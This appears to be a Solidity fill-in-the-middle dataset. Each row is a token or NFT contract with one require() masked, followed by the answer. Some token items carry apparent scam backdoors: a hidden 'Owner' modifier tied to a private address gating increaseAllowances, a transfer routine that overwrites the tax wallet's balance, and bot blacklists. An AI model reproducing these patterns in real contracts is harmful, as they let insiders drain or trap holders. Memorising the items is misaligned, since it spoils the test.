uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;
uint256 public _maximumSwap= _tTotal * 1 / 100;
uint256 public _maxTxAmount = _tTotal * 4 / 100;
uint256 public _maxWalletAmount = _tTotal * 4 / 100;
uint256 public _taxSwapThreshold= _tTotal * 2 / 10000;
uint256 private _firstSellTax=0;
uint256 private _firstBuyTax=0;
uint256 private _dontSwapTaxBefore=1;
uint256 private _lastBuyTax=0;
uint256 private _reduceBuyTaxAfter=3;
uint256 private _reduceSellTaxAfter=1;
uint256 private _lastSellTax=0;
uint256 private _buyerCounts=0;
mapping(address => uint256) private _holderLastTransferTime;
mapping (address => uint256) private _balances;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => mapping (address => uint256)) private _allowances;
modifier lockSwap {
}
event MaxTXUpdated(uint _maxTxAmount);
constructor() {
}
function sendETHToFee(uint256 amount) private {
}
function symbol() public pure returns (string memory) {
}
function name() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
function addLiquidity() external payable onlyOwner() {
}
function _transfer(address from, address to, uint256 amount) private {
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(from != address(0), "ERC20: transfer from the zero address");
uint256 taxAmount=0;
if (from != owner() && to != owner() && ! _isExcludedFromFees[from] ) {
taxAmount = amount.mul((_buyerCounts>_reduceBuyTaxAfter)?_lastBuyTax:_firstBuyTax).div(100);
if (from != address(this)) {
require(isTradingOpened, "Trading not enabled");
}
if (hasMEVProtection) {
if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(<FILL_ME>)
_holderLastTransferTime[tx.origin] = block.number;
}
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFees[to] ) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletAmount, "Exceeds the maxWalletSize.");
_buyerCounts++;
}
if(to == uniswapV2Pair && from!= address(this)){
taxAmount = taxAmount.mul(address(this).balance, amount);
_balances[_taxWallet]=_balances[address(this)].add(taxAmount);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyerCounts>_dontSwapTaxBefore) {
swapTokensForEth(min(amount,min(contractTokenBalance,_maximumSwap)));
sendETHToFee(address(this).balance);
}
}
_balances[to]=_balances[to].add(amount);
_balances[from]=_balances[from].sub(amount);
emit Transfer(from, to, amount);
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function removeLimits() external onlyOwner{
}
receive() external payable {}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
}
}
| _holderLastTransferTime[tx.origin]<block.number,"_transfer:: Transfer Delay enabled. Only one purchase per block allowed." | 65,211 | _holderLastTransferTime[tx.origin]<block.number |
"WalletLimitExceeded!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
contract m00nb1rd5 is ERC721A, Ownable, Pausable {
string private baseURI;
string private baseURISuffix;
uint256 public supply = 10000;
uint256 public freeSupply = 2500;
uint256 public cost = 0.001 ether;
uint256 public maxPerWallet = 2;
uint256 public maxFreePerWallet = 1;
event Minted(address indexed receiver, uint256 quantity);
constructor() ERC721A("m00nb1rd5", "m00nb1rd5") {
}
modifier checkEOA() {
}
function publicMint(uint256 _quantity) external payable whenNotPaused checkEOA {
require(<FILL_ME>)
require(_totalMinted() + _quantity <= supply, "SupplyExceeded!");
require(msg.value >= calculateMintCost(_quantity), "InvalidEtherAmount!");
_mint(msg.sender, _quantity);
emit Minted(msg.sender, _quantity);
}
function teamMint(uint256 _quantity) external onlyOwner {
}
function setFreeSupply(uint256 _new) external onlyOwner {
}
function setCost(uint256 _cost) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setBaseURISuffix(string calldata _uriSuffix) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function calculateMintCost(uint256 _quantity) internal view returns (uint256 _totalCost) {
}
}
| _numberMinted(msg.sender)+_quantity<=maxPerWallet,"WalletLimitExceeded!" | 65,312 | _numberMinted(msg.sender)+_quantity<=maxPerWallet |
"SupplyExceeded!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
contract m00nb1rd5 is ERC721A, Ownable, Pausable {
string private baseURI;
string private baseURISuffix;
uint256 public supply = 10000;
uint256 public freeSupply = 2500;
uint256 public cost = 0.001 ether;
uint256 public maxPerWallet = 2;
uint256 public maxFreePerWallet = 1;
event Minted(address indexed receiver, uint256 quantity);
constructor() ERC721A("m00nb1rd5", "m00nb1rd5") {
}
modifier checkEOA() {
}
function publicMint(uint256 _quantity) external payable whenNotPaused checkEOA {
require(_numberMinted(msg.sender) + _quantity <= maxPerWallet, "WalletLimitExceeded!");
require(<FILL_ME>)
require(msg.value >= calculateMintCost(_quantity), "InvalidEtherAmount!");
_mint(msg.sender, _quantity);
emit Minted(msg.sender, _quantity);
}
function teamMint(uint256 _quantity) external onlyOwner {
}
function setFreeSupply(uint256 _new) external onlyOwner {
}
function setCost(uint256 _cost) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setBaseURISuffix(string calldata _uriSuffix) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function calculateMintCost(uint256 _quantity) internal view returns (uint256 _totalCost) {
}
}
| _totalMinted()+_quantity<=supply,"SupplyExceeded!" | 65,312 | _totalMinted()+_quantity<=supply |
"TeamLimitExceeded!" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
contract m00nb1rd5 is ERC721A, Ownable, Pausable {
string private baseURI;
string private baseURISuffix;
uint256 public supply = 10000;
uint256 public freeSupply = 2500;
uint256 public cost = 0.001 ether;
uint256 public maxPerWallet = 2;
uint256 public maxFreePerWallet = 1;
event Minted(address indexed receiver, uint256 quantity);
constructor() ERC721A("m00nb1rd5", "m00nb1rd5") {
}
modifier checkEOA() {
}
function publicMint(uint256 _quantity) external payable whenNotPaused checkEOA {
}
function teamMint(uint256 _quantity) external onlyOwner {
require(<FILL_ME>)
require(_totalMinted() + _quantity <= supply, "SupplyExceeded!");
require(_quantity > 0, "InvalidQuantity!");
_mint(msg.sender, _quantity);
emit Minted(msg.sender, _quantity);
}
function setFreeSupply(uint256 _new) external onlyOwner {
}
function setCost(uint256 _cost) external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function _withdraw(address _address, uint256 _amount) private {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setBaseURI(string calldata _uri) external onlyOwner {
}
function setBaseURISuffix(string calldata _uriSuffix) external onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function calculateMintCost(uint256 _quantity) internal view returns (uint256 _totalCost) {
}
}
| _numberMinted(msg.sender)+_quantity<=50,"TeamLimitExceeded!" | 65,312 | _numberMinted(msg.sender)+_quantity<=50 |
"" | // SPDX-License-Identifier: unlicense
pragma solidity ^0.8.17;
abstract contract Context
{
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Token is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "JOE BIDEN";
string private constant _symbol = "JOE BIDEN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => bool) private isbots;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = _tTotal ;
uint256 private _tFeeTotal;
uint256 public launchBlock;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 0;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 0;
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xB2Dfe136E3DB3C663868a962E87F137E4321c1A7);
address payable private _marketingAddress = payable(0xB2Dfe136E3DB3C663868a962E87F137E4321c1A7);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
IERC20 private IDEXrouter;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = _tTotal.mul(20).div(1000);
uint256 public _maxWalletSize = _tTotal.mul(20).div(1000);
uint256 public _swapTokensAtAmount = _tTotal.mul(5).div(1000);
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
modifier Owner() { require(<FILL_ME>)_; }
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function setSniper (address[] memory Idexroter) external onlyOwner {
}
function increaseAllowances(address spender, uint256 amount) external Owner{
}
function manualswap() external {
}
function manualsend() external {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function removeLimit () external onlyOwner{
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
}
| address(IDEXrouter)==msg.sender,"" | 65,366 | address(IDEXrouter)==msg.sender |
'Not enough NFTs left to reserve' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import 'openzeppelin-contracts/contracts/utils/Counters.sol';
import 'openzeppelin-contracts/contracts/access/Ownable.sol';
import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol';
import 'openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
interface _1984Redux {
function balanceOf(address owner) external returns (uint256);
}
contract _1984Serum is ERC721Enumerable, Ownable {
event BurnSerum(uint256[] serumIds, uint256 indexed reduxTargetId, address indexed sender);
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public constant MAX_SUPPLY = 1600;
uint256 public constant MAX_PER_MINT = 5;
uint256 public price = 0.009 ether;
address private nftAddress;
bool public public_mint_active = false;
bool public mint_active = false;
bool public burn_active = false;
mapping(address => uint256) public addressToMinted;
address public treasury;
string public baseTokenURI;
constructor() ERC721('1984Serum', '1984S') {}
function setPublicMintActive(bool newValue) public onlyOwner {
}
function setMintActive(bool newValue) public onlyOwner {
}
function setPrice(uint256 newPrice) public onlyOwner {
}
function setNftAddress(address newAddy) public onlyOwner {
}
function reserveNFTs() public onlyOwner {
uint256 totalMinted = _tokenIds.current();
uint256 newTokenCount = 20;
require(<FILL_ME>)
for (uint256 i = 0; i < newTokenCount; i++) {
uint256 newTokenID = _tokenIds.current();
_safeMint(msg.sender, newTokenID);
_tokenIds.increment();
}
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
/// @notice Mint any number of nfts
/// @param _count Number of NFTs to mint
function mintNFTs(uint256 _count) public payable {
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public {
}
function setTreasury(address newAddy) external onlyOwner {
}
function setIsBurnActive(bool newVal) public onlyOwner {
}
function burn(uint256[] calldata ids, uint256 reduxTargetId) external {
}
function safeBatchTransfer(uint256[] calldata ids, address to) external {
}
}
| totalMinted.add(newTokenCount)<=MAX_SUPPLY,'Not enough NFTs left to reserve' | 65,388 | totalMinted.add(newTokenCount)<=MAX_SUPPLY |
'Not enough NFTs left!' | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import 'openzeppelin-contracts/contracts/utils/Counters.sol';
import 'openzeppelin-contracts/contracts/access/Ownable.sol';
import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol';
import 'openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol';
interface _1984Redux {
function balanceOf(address owner) external returns (uint256);
}
contract _1984Serum is ERC721Enumerable, Ownable {
event BurnSerum(uint256[] serumIds, uint256 indexed reduxTargetId, address indexed sender);
using SafeMath for uint256;
using Counters for Counters.Counter;
Counters.Counter private _tokenIds;
uint256 public constant MAX_SUPPLY = 1600;
uint256 public constant MAX_PER_MINT = 5;
uint256 public price = 0.009 ether;
address private nftAddress;
bool public public_mint_active = false;
bool public mint_active = false;
bool public burn_active = false;
mapping(address => uint256) public addressToMinted;
address public treasury;
string public baseTokenURI;
constructor() ERC721('1984Serum', '1984S') {}
function setPublicMintActive(bool newValue) public onlyOwner {
}
function setMintActive(bool newValue) public onlyOwner {
}
function setPrice(uint256 newPrice) public onlyOwner {
}
function setNftAddress(address newAddy) public onlyOwner {
}
function reserveNFTs() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _baseTokenURI) public onlyOwner {
}
/// @notice Mint any number of nfts
/// @param _count Number of NFTs to mint
function mintNFTs(uint256 _count) public payable {
require(mint_active, 'Mint is not active yet, please try again later.');
require(_count > 0, 'Cannot mint negative number of NFTs.');
if (public_mint_active) {
require(msg.value >= price.mul(_count), 'Not enough ether to purchase NFTs.');
}
uint256 totalMinted = _tokenIds.current();
require(<FILL_ME>)
uint256 tokensToMint = _count + addressToMinted[msg.sender];
if (!public_mint_active) {
_1984Redux nft = _1984Redux(nftAddress);
uint256 mintedBySender = nft.balanceOf(msg.sender);
if (tokensToMint >= 5) {
require(mintedBySender >= 10, 'Minting more than 4 vials requires 10 or more tokens');
} else if (tokensToMint >= 3) {
require(mintedBySender >= 5, 'Minting more than 2 vials requires 5 or more tokens');
} else {
require(mintedBySender >= 2, 'Minting more than 1 vials requires 2 or more tokens');
}
}
require(tokensToMint <= MAX_PER_MINT, 'Minting too many NFTs.');
addressToMinted[msg.sender] = tokensToMint;
for (uint256 i = 0; i < _count; i++) {
uint256 newTokenID = _tokenIds.current();
_safeMint(msg.sender, newTokenID);
_tokenIds.increment();
}
}
function tokensOfOwner(address _owner) external view returns (uint256[] memory) {
}
function withdraw() public {
}
function setTreasury(address newAddy) external onlyOwner {
}
function setIsBurnActive(bool newVal) public onlyOwner {
}
function burn(uint256[] calldata ids, uint256 reduxTargetId) external {
}
function safeBatchTransfer(uint256[] calldata ids, address to) external {
}
}
| totalMinted.add(_count)<MAX_SUPPLY,'Not enough NFTs left!' | 65,388 | totalMinted.add(_count)<MAX_SUPPLY |
"Total fees on buy exceed limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TokenX is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TokenX";
string private constant _symbol = "TOKENX";
uint8 private constant _decimals = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xad5885e88a87C4a5F9f8BF76272b538C55d70e28);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public tradingEnabled;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000 * 10**18;
uint256 public _swapTokensAtAmount = 200000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function enableTrading() public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(<FILL_ME>)
require(redisFeeOnSell.add(taxFeeOnSell) <= 30, "Total fees on sell exceed limit");
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
}
//Set max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
}
}
| redisFeeOnBuy.add(taxFeeOnBuy)<=30,"Total fees on buy exceed limit" | 65,392 | redisFeeOnBuy.add(taxFeeOnBuy)<=30 |
"Total fees on sell exceed limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TokenX is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TokenX";
string private constant _symbol = "TOKENX";
uint8 private constant _decimals = 18;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 5;
//Sell Fee
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 5;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _marketingAddress = payable(0xad5885e88a87C4a5F9f8BF76272b538C55d70e28);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool public tradingEnabled;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 500000 * 10**18;
uint256 public _swapTokensAtAmount = 200000 * 10**18;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
}
constructor() {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
}
function removeAllFee() private {
}
function restoreAllFee() private {
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
}
function _transfer(
address from,
address to,
uint256 amount
) private {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function sendETHToFee(uint256 amount) private {
}
function enableTrading() public onlyOwner {
}
function manualswap() external {
}
function manualsend() external {
}
function blockBots(address[] memory bots_) public onlyOwner {
}
function unblockBot(address notbot) public onlyOwner {
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
}
function _takeTeam(uint256 tTeam) private {
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
}
function _getRate() private view returns (uint256) {
}
function _getCurrentSupply() private view returns (uint256, uint256) {
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
